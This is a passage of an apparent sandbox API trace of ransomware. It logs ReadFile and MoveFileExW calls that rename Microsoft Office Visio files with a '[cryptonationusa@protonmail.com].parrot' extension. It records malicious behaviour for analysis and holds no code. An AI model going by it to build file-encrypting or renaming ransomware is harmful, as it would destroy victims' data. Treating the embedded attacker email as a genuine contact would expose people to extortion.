hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.203] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14c00, lpOverlapped=0x0) returned 1 [0215.210] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CONLOG_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\conlog_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CONLOG_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\conlog_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.266] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.266] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.267] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.267] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14c00, lpOverlapped=0x0) returned 1 [0215.270] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CONLOG_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\conlog_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CONLOG_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\conlog_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.280] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.280] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.281] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.281] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x38c00, lpOverlapped=0x0) returned 1 [0215.287] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CONNEC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\connec_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CONNEC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\connec_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.297] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.297] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.298] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.298] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x34600, lpOverlapped=0x0) returned 1 [0215.309] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CONNEC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\connec_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CONNEC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\connec_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.319] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.319] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.320] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.320] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x89200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x89200, lpOverlapped=0x0) returned 1 [0215.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cubicl_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cubicl_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.372] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.416] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.416] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ce00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8ce00, lpOverlapped=0x0) returned 1 [0215.441] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cubicl_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CUBICL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cubicl_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.474] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.474] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.475] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.475] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15a00, lpOverlapped=0x0) returned 1 [0215.484] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.494] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.494] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.495] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.495] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5a00, lpOverlapped=0x0) returned 1 [0215.496] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.502] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.503] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15200, lpOverlapped=0x0) returned 1 [0215.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.514] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.514] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.515] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.515] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5800, lpOverlapped=0x0) returned 1 [0215.516] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATFLO_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datflo_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.521] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.521] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.522] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.523] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4e00, lpOverlapped=0x0) returned 1 [0215.523] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATMOD_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datmod_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATMOD_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datmod_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.528] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.528] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.529] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.529] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4e00, lpOverlapped=0x0) returned 1 [0215.530] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATMOD_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datmod_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DATMOD_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\datmod_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.534] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.534] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.536] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.536] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8c00, lpOverlapped=0x0) returned 1 [0215.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DBMODL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dbmodl_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DBMODL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dbmodl_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.542] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.542] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.543] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8c00, lpOverlapped=0x0) returned 1 [0215.544] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DBMODL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dbmodl_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DBMODL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dbmodl_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.550] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.550] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.553] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.554] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a200, lpOverlapped=0x0) returned 1 [0215.556] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DGICON_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dgicon_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DGICON_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dgicon_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.567] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.567] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.568] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.568] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x19800, lpOverlapped=0x0) returned 1 [0215.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DGICON_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dgicon_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DGICON_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dgicon_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.582] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.618] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.618] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30000, lpOverlapped=0x0) returned 1 [0215.625] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DIMARC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dimarc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DIMARC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dimarc_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.635] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.635] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0215.636] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.636] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2f000, lpOverlapped=0x0) returned 1 [0215.645] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DIMENG_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dimeng_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\DIMENG_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\dimeng_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0215.656] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0215.656] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, 